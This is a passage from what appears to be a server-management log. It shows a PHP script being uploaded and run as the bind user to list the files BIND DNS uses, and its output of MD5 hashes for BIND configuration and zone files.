MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:08:19: Establishing a connection
2026-07-15 13:08:19: 

PUT: /tmp/pkp791297

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:08:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp791297; rm /tmp/pkp791297'

2026-07-15 13:08:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
